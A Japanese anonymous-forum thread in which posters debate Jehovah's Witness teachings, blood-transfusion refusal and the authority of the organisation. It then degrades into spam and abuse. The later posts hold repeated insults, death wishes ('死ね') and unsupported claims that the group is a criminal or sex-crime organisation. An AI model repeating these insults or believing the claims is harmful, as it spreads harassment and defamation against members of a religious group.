ヤハウェもヤーベもヤーウェもエホバもそうだという証拠はありません。

改めるも何も、いまだに発音は不明なんですが

ク・リトル・リトルが正しいらしい

>242
ワラタ。

しかし、ＪＷ擁護スレはどれも行き詰まるね。
べつに煽る気は無いけど全然ダメじゃん。。。

逝き詰まった原因はなんだべ？

さあね？
内側に閉じていく傾向にある教義に問題が有るんじゃない。（閉鎖的という意味では無くて。）
話が外に開きようがない気がしますけどね。
2chでは多少煽られるのは仕方がないと思いますが。。。

>246
>内側に閉じていく傾向にある教義に問題が有るんじゃない。（閉鎖的という意味では無くて。）

様々なことについて、人の動機を考えさせるという意味？

>>247
ＪＷ信者は外の世界を見た方がいいと思います。
ＪＷを取り巻く環境とか、一般キリスト教からどの様に思われているのか。

>>246「内側に閉じていく傾向にある教義」って言いましたのは
教義はＪＷ世界以外を極端な話、「サタン」と教えて
他からの情報を取り入れ無いように指導しているみたいだけど、それじゃダメ。

信者さんはTVや新聞その他で世間の情報は手に入れていると思いますよ。
だた、その情報をこう理解しなさい。ってＪＷ組織がしてるんですよ。
結局それをしていると、将来ＪＷ組織は衰退するんじゃないかな。

ＪＷ本部は組織に濾過された情報しか受け付けないように
信者を指導しているんだから、しかたがないですけど。

ＪＷ組織の一番の犠牲者は信者さん自身なんですよ。

なんだかんだ言ってJWが気になってしょうがないんだね（w

>>249
マジレスしてソンした。。。

>>250
boy'sさん、マジレスありがとう。

あなたにイヤミを言う奴が、時たま現れますね。
何が言いたいんだか、アンチなのかシンパなのか分からんが
ぐちゅぐちゅした、イヤミおばさんみたいな男だな。

しまった、ageてしまった。ごめんなさい。

>249
誠意のある対応にはすがすがしい気持ちがします。
お断りしておきますが、
247=249ではありませんので。

>信者さんはTVや新聞その他で世間の情報は手に入れていると思いますよ。
>だた、その情報をこう理解しなさい。ってＪＷ組織がしてるんですよ。

確かにそのように感じる部分も多くあると思います。

>ＪＷ本部は組織に濾過された情報しか受け付けないように
>信者を指導しているんだから、しかたがないですけど。

それと同時にあらゆる情報について裏付けを取り、鵜呑みにしないようにも
指導しています。
結局のところ、組織に対して過剰な期待をした信者は、
ある事柄について裏切られたと感じる時、失望も大きいのではないでしょうか？
私としては組織に対して過剰な期待をしない反面、
全てを否定してもいません。

協会が出した無輸血医療のビデオ見た人いる？
現役の率直な感想を聞きたい。
ワイルドキャットさんはあのビデオ見たのかなぁ？

>>253
＞私としては組織に対して過剰な期待をしない反面、
＞全てを否定してもいません。
というお考えでしたら、お一人で聖書を通して神に語りかけるほうが、
よほど有益かと存じますが。余計なおせっかいですみません。

＞254さま
見ましたよ。率直に言って、協会はなんのために輸血を
拒否しているのだろう？信仰の問題を飛び越えて、医療の
進歩にJWが貢献してあげてるみたいな、あいかわらずお気楽な
作りであると思いました。正直失望しましたよ。

あげ

現在の医療現場では輸血をしない医療を施すまでに進んでいます。
しかし、輸血を必要とするのが現実です。
助かる命を見殺しにするエホバの教えは私には無用です。
ですから、宗教の押し売りに来るのはやめて下さい。

　　　　　　
　　　　　　　 ☆ 輸血しない人　上位ランキングベスト３ ☆


　　　　　　　　第 １ 位　　　エ　ホ　バ　の　証　人

　　　　　　　　第 ２ 位　　　医 師
　　
　　　　　　　　第 ３ 位　　　医　師　の　家　族

あのビデオはいかに無輸血がポピュラーになりつつ
あることを強調していました。
あと、5.6年もすれば輸血は過去のものとなると、アメリカの
偉いお医者さんが仰ってました。

「無輸血医療のビデオ」は見てないので書きようが無いのですが
例えば、日本やアメリカなどの先進国と言われている国では
誰でも必要に応じて高度な医療を受けられると思います。
しかし、世界全体からすれば、この様な先進国はごく一部で
盲腸の手術すら受けらない、または手術をするために一年以上の
順番待ちをする国も有ります。（具体的にはブラジルの低所得者など）
日本では、
＞あいかわらずお気楽な作りであると思いました。正直失望しましたよ。
と簡単に言えますけど、経済が遅れている国では、どうでしょうか？
ＪＷの全てを信じている信者が、偶然にそのビデオテープを手に入れて
村に数台しかないビデオデッキで、そのビデオを見る。
考え過ぎでしょうか。

>>261
そんな信者はビデオを見るまでもなく輸血拒否だろ。

>261さま
いや、まさにboy'sさんの仰る通りなので、私は協会が
あのようなビデオをお気楽に作ることに失望すたんです。
最新の医療は確かに無輸血を勧めている。しかし、それに
どれだけの費用がかかるというのか。そんなことにはもちろん
一切触れません。おまけにその最新医療の恩恵にあずかった
信者の家族をインタビューし、手術が成功したことを喜んで
ます。それはたしかに喜ばしいこと。しかしその恩恵にあずかる
ことなく、死んでいった大勢の信者への配慮はあるのか？私は純粋に
疑問を持ってしまいました。協会があのビデオを作った意図は、JW
が輸血を拒否するのは何も狂信的なことではない、むしろ時代の
先端をいく素晴らしいことなんだから、一般の方々、どうか理解を
示してください、ということだったことは分かります。しかしboy's
さんも仰るように、発展途上の国、経済的にも恵まれない人々、そして
信仰を貫いて亡くなった方々への配慮はいかがなものかと思い、失望
してしまったのです。

現役の方々、私の上の意見は背教的でしょうか？

背教的ではないと思います。

>>254
先日実家に帰った時に見ようと思ったのですが、親が注文し損ねていたらしく見れません
でした。見たかったんですけどね・・・。＜ビデオ

>>263
うちのＨＰにも書いてるけど、協会の情報って無輸血に伴うメリットばかりを強調して
デメリット（金銭面、成功率など）はまったく触れないんですよ。相変わらずのようですね。
現役さんには特にそのことを知ってもらいたいんですけど、協会の情報以外は取り入れ
ないだろうから難しいんだろうな・・・。

発展途上の国、経済的にも恵まれない人々に対する配慮？
そういう不公平な世の中にしてしまったのは誰のせいだ？
貪欲な人間の政治が原因でしょうが。

みんなそれぞれパソコンの前で先端の技術の恩恵にあずかっているんじゃないの？
発展途上国や恵まれない地域の人のこと考えながらキーボード叩いてるの？

パソコンの新機種が出たら「いいなあって」思うんじゃないの？
医療だって進歩したこと聞くなら嬉しいはずでしょ
血液医療だけ偏見持ってんじゃないの？

お得意の詭弁ですか・・・・
いいかげん見てて疲れるよ。

>>267　の意見に賛成です。

ageman
yariman

>>267
>そういう不公平な世の中にしてしまったのは誰のせいだ？

はい、お答えします。
当たり前の様に牛肉や豚肉を食べている、あなたのせいです。
トウモロコシの粉を食べてください。


>>263 の1 さん
せっかくですから、話を続けさせていただきます。
ビデオの話もそうなのですが、ＪＷ本部は本を出しすぎですね。

私はほぼ毎日聖書を読むのですが、普通に生活をしていて
１日の内に聖書を読む時間はある程度限界あると思います。
その限られた時間内には聖書を読むべきなのに
ＪＷ発行の本を読む方が優先になってしまっている
ところに問題があると思います。

最近、ＪＷの方と禅問答ならぬ聖書問答をすることが有りますが
聖書解釈の話でＪＷの方は答えるのに
まず初めにＪＷ発行の本を調べてから聖書を開きます。
ＪＷ発行の本を調べただけで聖書を開きもしない時もあります。
この光景を見ていますと
ＪＷ発行の本の方が聖書より上位の存在になっているな。と感じます。
（まあ、お会いした方だけかもしれませんね。（約、数人ですが

今日は、ここまでにします。おやすみなさい。。。

>>271
ご指摘の通り、折れもそこは大問題だと思います。
＞ＪＷ発行の本の方が聖書より上位の存在になっているな。と感じます。
＞（まあ、お会いした方だけかもしれませんね。（約、数人ですが

お感じの点、全員と言っていいのでは？
聖書は、協会発行のテキストなしでは
難しくて理解できないものと洗脳しているわけです。

まあ、あの訳じゃあねえ（テキストの文章も頭が変になりそうですが）。
まさか意図的だったりして、テキストをトラの巻のように頼るようにと。

>271
>はい、お答えします。
>当たり前の様に牛肉や豚肉を食べている、あなたのせいです。
>トウモロコシの粉を食べてください。

飢餓に苦しむ国においては援助物資のトウモロコシの粉ですら、
その国の勢力争いの道具に利用されていますが？

>最近、ＪＷの方と禅問答ならぬ聖書問答をすることが有りますが
>聖書解釈の話でＪＷの方は答えるのに
>まず初めにＪＷ発行の本を調べてから聖書を開きます。
>ＪＷ発行の本を調べただけで聖書を開きもしない時もあります。
>この光景を見ていますと
>ＪＷ発行の本の方が聖書より上位の存在になっているな。と感じます。

組織の聖書解釈に従うことは、その構成員の義務です。
神と共に組織にも献身しているわけですから。
バプテスマの時の二つの質問の意味を考えれば分かります。

>>273
>組織の聖書解釈に従うことは、その構成員の義務です。
>神と共に組織にも献身しているわけですから。

上記の書き込みを読むと実に不毛な話をしていたか、私は理解しました。
組織に献身以上は、組織の言いなりの行動や思考しか出来ないわけですね。
じゃ、これ以上に信者さんが減らない様に努力をしてください。
わたしは別スレで反対を続けさせていただきます。。。

>>273
組織への献身の聖書的根拠を教えてくれたらありがたいです。
私の聖書ではキリストに従うことが唯一の道であるように読めますので。
やはり違う聖書なんでしょうか。

>>275
ああ、ダメよ。
ＪＷは聖書に何が書いてあろうと関係ないからね。
過去に「ＪＷの教え」が「聖書」と「キリスト教」から
かけ離れているのに気がついた人が居たみたいだけど
その様な人は排斥になるからね。
ましてや平信徒が組織の改革を考えても意味が無いですね。

あうっ、
現役さん専用スレに書かないつもりだったのだが、うっかり。

>>273
>神と共に組織にも献身しているわけですから。

あなた意味解かって言ってるの？
こんなことサラリと言うんだから、ものみの塔って本当に異端なんだな。

『ナチス』と変わらんな・・・・・・・・・・・・エホバの死様人

>275
>組織への献身の聖書的根拠を教えてくれたらありがたいです。

まず言葉を定義させて下さい。
組織の定義として国語辞典にはこうあります。
「いくつかの物や何人かの人が集まって、
　ある働きをするために形作った、秩序ある全体」

献身の定義はこうです。
「自分の利益を犠牲にして人のために尽くすこと」

エホバの証人はその組織を構成する人々を友と見なしています。
ゆえに
ヨハネ15章13節にある、キリストの教えにならい、
いかなる状況下においても、仲間（組織）のために
献身する気持ちでいる訳です。

>>279で言っていることは要するに

献身とは自分の利益を犠牲にして仲間（組織を構成する人々）
のために尽くすこと。

って事でしょ。こんな考えをしているんだ。
こう言われてみると全て理解ができるなあ。
ガンバレよ。。。

>>279

オレは「組織が言うことなら無条件に何でも聞き入れる」という意味かと
思ったよ。>組織への献身

あなたの言う意味で「献身」が行われているならなにも言うことは無し。

ところであなたは、組織の言うことと聖書に書いてあることに食い違いが
あったら、どのような立場をとるのでしょうか。

>>279
>エホバの証人はその組織を構成する人々を友と見なしています。
そ れ 以 外 の 人 は サ タ ン の 手 先 で す か ？

>282
いいえ。
そんなふうにはみてません。

＞２８２
将来、羊さんになる可能性のある人とみなします

国連はサタンですか？

>>285
サタンは霊者です。
地上の人間の組織である国連と同一であるはずがありません。

あえて言うならば、国連は「サタンがあやつっているこの世」の一部で
す。または、サタンは自分の考えに沿って国連を利用する事が出来ます。
が正解。

『国連は「サタンがあやつっているこの世」の一部』と
『サタンは自分の考えに沿って国連を利用する事が出来ます。』は
意味合いがかなり違うぞー。
『または、』だと両方正解になるぞー。
どっち！

私は現役ですが、全てのことに平衡が必要であり、それは聖書や組織を
信じることにもあてはまると思います。
絶対なのは神だけですが、不完全な世界で不完全に生きている私たちは
神のご意志を不完全に読み取ることしかできません。
これを認められるかどうかで、健康な信仰を築けるかどうかが分かれます。

聖書を信じて
組織を信じない
信仰生活はアリ？

>>289

人が独りでいるのは良くない。　−−　創世 2：18　−−

　

>>290
仲間になりたくない。　−−エペソ5:7−−

>>281
>ところであなたは、組織の言うことと聖書に書いてあることに食い違いが
>あったら、どのような立場をとるのでしょうか。

ここで仰っている「組織」という語は
「責任ある人々」というニュアンスで用いておられるでしょうか？
その前提でお答えしますと、

例えば会衆内部において、
一部の監督が聖書を歪曲し神のキリストの精神を無視して
適用また教えた事が明白な場合、
旅行する監督等が訪問してきた際に
意見を述べることが出来ると思います。

訂正
「神のキリストの精神」×
「神とキリストの精神」○

献身についてなにやら議論されているようなのでちと思った疑問。
2つの国家同士が戦争状態に陥ったとき、おそらく両国民は何が本当の正義
なのか考える暇もなく、無条件に国家を支持せざるを得なくなるはず。
そうしないと士気なんかの問題で相手に負けてしまうから。
エホバの証人の組織への献身は同様に見れるんじゃないだろうか。だとした
ら、異常ではあるが逝ってるというほど異常ではないと思われる。
だから、献身うんぬんよりも教理上の問題なんかを取り上げた方がお互いに
とって良いんじゃないだろうか？

いや・・・なにやら議論されて「いた」の間違いかも。

聖句の一部を取り出してだめだよ。
前後の聖句の内容で、その言葉が指しいてる意味がちがうから。>>290
>人が独りでいるのは良くない。　−−　創世 2：18　

これは、別に「組織」的に信仰を求めている成句じゃないし・・・
変に誤用しない方が良いのでは？

老婆心ながら・・・・

>>288さん
すみません。romしていて分かりません。
>>288を読みますと「聖書や組織」と書いてあり
「聖書」と「（ＪＷの）組織」が同等に扱われています。
文章をさらに追って読んでいきますと、
「不完全な世界で不完全に生きている私たちは
神のご意志を不完全に読み取ることしかできません。」
と自分たちは不完全と認めています。

文の全体を読みますと下記図式の様になりますけど、
ここは、どの様に理解したら良いのでしょうか。

「神」＝「完全」＝「聖書」＝「組織」＝「私たち」＝「不完全」

揚げ足とりのつもりは無いのですが、
私には理解しにくいので直接お尋ねします。
ゴメンなさい。

組織と聖書を比べれば明らかに聖書が上位であります。

神は完全でなければなりません。またそう信じ希望します。
神が信頼できなければ安定した信仰は成り立たないからです。

しかし現実世界において、重い宗教的な権威を神以外に付すべきではない
と考えているのです。聖書も「非常に重要な参考書」の域をでないと言い
たいのです。「聖書の直訳の厳密な適用」は神のご意志を反映しないと言
いたかったのです。

　　　　　　,: ' " `丶
　　　　 , :´　　.　　 ｀､
　　　. '.　　　 /⌒li　　ヽ
　　,:'.　　　　/　 / |　　 ｀､
　 ,' 　　　　/｀`´. ﾉ　　　 `,
　,' 　 　 　 | ｀`'''/'　　　 　 ;　　指入りおにぎりの意味を解読せよ
　!　　　　　 ~~~~~　　　　　;
　ヽ､..._,.__■■■■.,,__,.,..ノ

>>299

ま　　　　　　　　
　　　　　　　　　　　　　　　　　　　　
　　　　　　　　　　　　　　　　　　　　　　　　い　　　　　　
　　　　　　　　　　　　　　　　　　　　　　　　　　　
　　　　　　　　　　　　　　　　　　　　　　　　　
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　う

>>298さん
「非常に重要な参考書」ですか、（まあ、極論として言ったと思いますけど。）
ああ、そこでＪＷさんと話がいつも食い違っててんだ。
なるほど、ふむ、ふむ、、、
いや、嫌みとかじゃ無くて、マジで納得しました。

いえ、普通のエホバの証人は聖書が絶対で細部に至るまで
神の言葉であると考えています。
「非常に重要な参考書」などとは考えません。
私は現役ですが、考え方が普通のＪＷとは異なります。

>298
>聖書も「非常に重要な参考書」の域をでないと言いたいのです。
>聖書の直訳の厳密な適用」は神のご意志を反映しないと言いたかったのです。

>302
>普通のエホバの証人は聖書が絶対で細部に至るまで
>神の言葉であると考えています。
>「非常に重要な参考書」などとは考えません。

どっちが正しいの？

302

>>304
神の言葉を「非常に重要」と見なさないエホバの証人は存在しません。
いたとしたらモグリです。たぶん302も。

って事は、現在のエホバの証人は「モグリ」が7割位って事ですね。＾＾

>>302
返信ありがとうございます。

まあ、ＪＷさんも大勢いらっしゃいますから、
聖書を神の言葉とか参考書とか色々な考え方の
人が居るであろうと思います。
えーと、話を戻しますと、

「神」＝　「聖書」＝　「完全」
「組織」＝「私たち」＝「不完全」になると思います。

しかし、ＪＷさんは組織は完全と見なしているところがあり
そこにＪＷ組織の問題点（自浄作用が無くなる、など。）
が有るのは、と思います。

>>307
＞しかし、ＪＷさんは組織は完全と見なしているところがあり

付け加えると、
何か問題が起きたあとにだけ、「組織も不完全だから・・」と言うんですよネ。

最後に。
私が言いたかったのは、「自分たちは神から選ばれている」という
選民的な思考は誰にとっても有害だということです。
たとえ、「真理を見つけた！」と確信したとしても。
ＪＷは組織が完全だとは思っていませんが、神から選ばれた唯一の
組織だと考えています。統治体は神の聖霊に導かれているので、
最終的には必ず正しいところへ行き着くと考え、絶対的な信頼を
寄せています。
その信頼は正しいでしょうか。

少しの間ですがここで会話できたことは貴重でした。
自分の考えを上手に正確に伝えることが非常に難しいとわかりました
ので、わたくしがもっと成長するまでこれで失礼いたします。
それでは。

>>309
あなたのような謙遜な方は貴重な存在です
また来てください

>>309
出だしに”最後に”と書いてありますので
これを、読んで頂けるか分かりませんが書いておきます。

統治体が神の聖霊に導かれていると、思いこむのまでは
妨げられませんが、それ思い違いです。

このスレでは教義面での議論は避けて来たつもりですので、
教義面での話は、とりあえず抜きにします。

どのような団体や個人にも良い面と悪い面が有ります。
その良い面と悪い面を考えて、その団体は、良いのか、悪いのか
考える必要があると思います。

これを、踏まえて考えますとＪＷ組織は良い団体とは思えません。
事実、ＪＷ組織は社会に貢献していません。

すみませんが、ユニセフやアムネスティなどの団体の方が、
はるかに貢献していますし、考え方によっては聖書的です。

a

>311
果たして社会貢献してないでしょうか？
きちんと税金を払う事、善良な市民として政府や、地域に
協力する。いろいろあると思いますが。

>>313
ＪＷ信者にしてみれば、税金を払う、政府や地域に協力する（???）が
社会貢献ですか。
これって、食事の前に手を洗いましょう、程度の話になるのでは、
ないでしょうか。

>314
高潔な道徳基準を人々に聖書から伝える、そして
信者自身が模範を示す。じゅうぶん社会貢献になる
ことと思います。

>>314
＞ＪＷ信者にしてみれば、税金を払う、政府や地域に協力する（???）が
社会貢献ですか。
＞これって、食事の前に手を洗いましょう、程度の話になるのでは、
ないでしょうか。

世の中、手を洗わないのが多すぎるのでは？
もしかして悪どいことして儲けたお金で寄付でもするのが貢献とでも言いたいの？

316に同意

正直に暮らすことが当たり前でない世の中に
おいて、JWは正直であるように努めています。

＞どのような団体や個人にも良い面と悪い面が有ります。
その良い面と悪い面を考えて、その団体は、良いのか、悪いのか
考える必要があると思います。
これを、踏まえて考えますとＪＷ組織は良い団体とは思えません。

非常に善良と正直を大切にする人が多く集まっていると
思いますが。もちろん組織として問題が多い事は認めます
が、私はJWの人を非常に信頼できますね。逆に求める事
が高すぎて、離れていく人が多いんだと思います。

　　　　　　　　　　　　　　　　　　　/ヾ
　　　　　　　　　　　　　　　 　　ゝｲ丿
　　　　　　　　　　　　　　 　 　 /　/
　　　　　　　　　　　　　　　 　 /　/
　　　　　　　　　　　　　 　 　 /　/
　　　　　　　 ∧ ∧　　 　 　/　/／￣￣￣￣￣￣￣￣￣￣
　シコ　　　 (　ﾟДﾟ)､　　 　/　/＜　 どんどんsageるぞ！ひゃっほう！
　　　　　　/　　　　 ヽ､　/　/　　＼＿＿＿＿＿＿＿＿＿＿
　シコ　　（　）　ﾟ　ﾟ/ヽ､/⊂//
　　　　　　＼ ヽ､ （　 /⊂//
　　　　　　　 ＼ ⌒つ　/
　　　　　　　 （　￣/　/
　　　　　　　　|　 |Ｏ○ ＼
　　　　　　　　|　 |　　　＼ ＼
　　　　　　　　|　 ）　　　　|　 ）
　　　　　　　 /　/　　 　 /　/
　　　　　　 /　/　　 　 　 ∪
　　　　　　 ∪

なんなんだよ？

折原兄弟発狂？！

バレたなｯﾁｪ

異常気象ですか？

こんなとこに来ているエホ証は
排斥決定だよ
つーか、ネットを始める時点でアウト

>>363は排斥！

>>316
べつに、悪いことをして金儲けして寄付しろ、なんて言ってませんよ。
どこから、「もしかして」になる分から無いなあ。

>>319
>非常に善良と正直を大切にする人が多く集まっていると
>思いますが。

とりたてて、ＪＷ信者が非常に善良と正直だとは思えませんけど。


>>316-319を読むとＪＷに属していない人は、皆悪人と思っているようですが
そんな考え方をしているのですか。
なんか、せまい考え方しているなあ。。。

>>363 ：　 ：02/06/26 18:56
>こんなとこに来ているエホ証は
>排斥決定だよ
>つーか、ネットを始める時点でアウト

あ、みんなインターネットやっているよ。
いまさら、ネットでアウトもないと思うけど。

>>374
お前は２ちゃんに来ている時点でアウト

>>374
まあ、「２ちゃんねる」はＪＷの敵ですねえ。
ん〜と、理由は「自由な意見交換ができる。」かなあ。

>>311
>事実、ＪＷ組織は社会に貢献していません。

ここまで言い切る勇気は素晴らしいと思います。
ただ断定できるほど調査しておられるのでしょうか？

>すみませんが、ユニセフやアムネスティなどの団体の方が、
>はるかに貢献していますし、考え方によっては聖書的です

これらの諸団体が行っている事柄は賞賛に値すると思います。
ただエホバの証人は「神の王国こそが根本的な解決をもたらす」
ということを信条としていますので、単純な比較は難しいと考えますが？

>>379
>ただ断定できるほど調査しておられるのでしょうか？

あ、そー言われると困ります。特に調査とかしていませんが
ＪＷ組織が何か良いことをしているかと考えると、思いつきませんね。

って言いますか、普段なにをしてるんですか？

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

....

.....

......

ｵﾘﾊﾗたん
ししし

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

┌──────────────────────―─―┐
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｜　　　　　　　　　　　　　　2ちゃんねる　　　　　　　　　　　　　　　｜
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（省略・・全てを読むにはここを押してください）


684 名前：名無しさん＠１周年 ：02/06/27 17:31
亀頭先生が勝手に反カルトにされてる。アンチなのにね。カルトはダメですねえ。
カルトはよっぽど亀頭が恐いんだね。なさけな

あぼーん

あぼーん

あぼーん

>比較的まともだった現役スレがなくなった今、再度
>私達の組織は本当に聖書的なのか？について真面目に
>考えたいと思います。皆様の参加を心より歓迎いたします。

しかし、荒れていますね。。。
>>1を考えて、書いているつもりですが
結局、ＪＷ擁護スレは育たないか。

あぼーん

あぼーん

あぼーん

oriharaﾀﾝ
ﾊﾞﾚﾊﾞﾚ

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

自作自演はエホバの特徴

どのスレも、こんなことして何になるんだろ？
おそらく現役の仕業でしょう。
余計に反感を買って、反対のエネルギーが増幅されるのでは。

ペド率の高い組織に居る奴等の考える事は、正直解らん。。。。

あぼーん

あぼーん

あぼーん

>>空白
お前が止めた時点で元通りのエホ証叩きがはじまるだけだぜ？
気付いていないようだから言うけど、その行動、誰も困ってないぞ。

ていうか、エホ証スレが乱立しているから、いっそのこと1000まで続けて
終わらせてくれ。 　　　　　

>>455　同じ文章を複数のスレに貼り付けているあなたこそ　荒らし　です。以後気をつけなさい！

自作自演の迫害だそうですね、空白。さすがエホバ。

>>456
まあそう言うなよ。
バカに知らせないと意味ないだろ？

自作自演を繰り返すエホバの信者。

洗脳の賜物ですね。

エホバは、なんでもかんでも迫害で済まそうとする。

エホバの証人は、姑息で汚い。

エホバって本当に反社会的だね。

反射快適なのは反対者

エホバが反社会的だというのは有名な事実。

あぼーん

エホバは、性犯罪団体だったんですね。

エホバは、性犯罪団体だったんですね。汚らわしい。

エホバは、性犯罪団体だったんですね。汚らわしい。あきれる。

自作自演を繰り返すエホバの信者。

洗脳の賜物ですね。

エホバの芸能人って誰かいるの？

婆が二人雨の中ご苦労様。

開口一番
「以前からこちらに住んでいた方か確認に来ました。」

何の用か聞くと
「奉仕活動をしている者です」

何の団体と聞くと
「エホバの証人」

お前らは本当に非常識な馬鹿キチガイだ。

なぜ毎度毎度初めから名乗らないんだ。

カルトだから名乗れないんだよな。

似非宗教の非合法団体は日本から出て行け。

二度と来るな。

迷惑だ。

乞食ルンペンの犯罪集団。

インチキ。

ペテン。

地獄行き決定。

死ね
死ね
死ね。

輸血を懇願する子どもを見殺しにした殺人団体。

子ども一人の命より、金、かね、カネなんだよね。

>>471
＞二度と来るな

奉仕者にそのように申してください
匿名で書かれてもどなたか特定できませんので

472 ：名無しさん＠１周年 ：02/06/29 17:22
>>471
＞二度と来るな

奉仕者にそのように申してください
匿名で書かれてもどなたか特定できませんので

二度と来るなと言っても
前に住んでいた方か確認に来ました！
性根が腐り切っているんだよ、エホバは。

ねえねえ、エホバの芸能人って誰かいるの？

無理でしょう。火曜と木曜は4時までに帰宅しなきゃいけないから
芸能人として売り込みようがない。干されてしまうに決まってる。

ただ､芸能人は､広告塔になるから､
どんな宗教でも､いろいろ免除されてるみたい。

>>473
＞前に住んでいた方か確認に来ました！
確認に来るのも来ることには変わりないよね
継続して来て欲しくないこと伝えるには張り紙なんかがいいんじゃない

>火曜と木曜は4時
どうして？

　　　　　エホバが一番 他は糞宗教
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 　. （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
　 　 /つ旦|　　∴　 |旦とヽ
　＠（＿＿_）　..丁　（＿＿_）＠

　　　　　エホバは糞宗教
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 　. （ ,,ﾟДﾟ　　（ﾟーﾟ* ）
　 　 /つ旦|　　∴　 |旦とヽ
　＠（＿＿_）　..丁　（＿＿_）＠

＞　前に住んでいた方か確認に来ました！

（本音）もうそろそろ氏んだ頃かなーって

同じ町内会に住んでいて知らないはずはない。
なるほど、エホバは嘘までついて訪問したわけだ。
犯罪集団だということがこれでハッキリしました。


219 ：名無しさん＠１周年 ：02/06/29 20:01
催眠商法の一種ですか


220 ：名無しさん＠１周年 ：02/06/29 20:30
エホバの連中は必ず近所に住んでいるという。
近所にすんでれば、町内会の掲示板に「訃報」が掲示されるからわかるし、
御通夜と葬儀があるからわかるものです。
嘘までついて人を騙そうとする体質なんですね。

>>472
>奉仕者にそのように申してください

ああ、すごい勘違いしてますねえ。
なんで「来るな。」と申し出る必要があるのかな？
来る方が「また来ても良いですか？」と聞くのが世間の常識だよ。
その時に「また来てください。」と言われなかったら行かないのが
礼儀だと思うな。

聖書をウンヌン言う前に一般常識や礼儀を身につけたら。

エホバは、無知･無教養の世間知らずだということですね。

聖書をウンヌン言う前に一般常識や礼儀を身につけたら。

>>483
>エホバは、無知･無教養の世間知らずだということですね。

そこまでは言わないけど、マナーが無いんじゃない。
一般的な日本人は面と向かって「くるな。」とか言え無いと思うなあ。
せいぜい迷惑そうな顔をするだけだと思うなあ。
きっちり断られないかぎり、行っても良いと考えるのはＪＷの理屈。
ＪＷの教義で人を助けられると思っているのは、ＪＷの思い上がり。

　　エホバは糞宗教 　　　　
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
　 　 /つ旦|　　∴　 |旦とヽ
　＠（＿＿_）　..丁　（＿＿_）＠

>二度と来るなと言っても
>前に住んでいた方か確認に来ました！
>性根が腐り切っているんだよ、エホバは。。

結局彼等にとって、強引にでも信者にならせること=隣人愛
だとおもっているからな・・俺らいいことしてるっ!ていう意識しかないの
だろう・・ハルマゲが近い!!って本人らは必死だし・
めっさ嫌な人は玄関のドアにエホ証お断り!!等おふだはるのはどうかな・・

お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

　　エホバは糞宗教 　　　　
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
　 　 /つ旦|　　∴　 |旦とヽ
　＠（＿＿_）　..丁　（＿＿_）＠

お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

エホバは糞宗教 　　　　
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
　 　 /つ旦|　　∴　 |旦とヽ
　＠（＿＿_）　..丁　（＿＿_）＠

お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

エホバは糞宗教 　　　　
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
　 　 /つ旦|　　∴　 |旦とヽ
　＠（＿＿_）　..丁　（＿＿_）＠

エホバは糞宗教 　　　　
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
　 　 /つ旦|　　∴　 |旦とヽ
　＠（＿＿_）　..丁　（＿＿_）＠


お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

〜公開質問状〜

『訪問一切禁止』の『ステッカー』が
『読めない』又は『見えない』のですか

エホバは糞宗教 　　　　
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　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
　 　 /つ旦|　　∴　 |旦とヽ
　＠（＿＿_）　..丁　（＿＿_）＠


お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

〜公開質問状〜

『訪問一切禁止』の『ステッカー』が
『読めない』又は『見えない』のですか

〜公開質問状〜

『訪問一切禁止』の『ステッカー』が
『読めない』又は『見えない』のですか

マルチポストはいいかげんヤメレ！！

〜公開質問状〜

『訪問一切禁止』の『ステッカー』が
『読めない』又は『見えない』のですか

エホバは糞宗教 　　　　
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
　 　 /つ旦|　　∴　 |旦とヽ
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お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

エホバは糞宗教 　　　　
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
　 　 /つ旦|　　∴　 |旦とヽ
　＠（＿＿_）　..丁　（＿＿_）＠


お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

エホバは糞宗教 　　　　
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
　 　 /つ旦|　　∴　 |旦とヽ
　＠（＿＿_）　..丁　（＿＿_）＠


お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

〜公開質問状〜

『訪問一切禁止』の『ステッカー』が
『読めない』又は『見えない』のですか
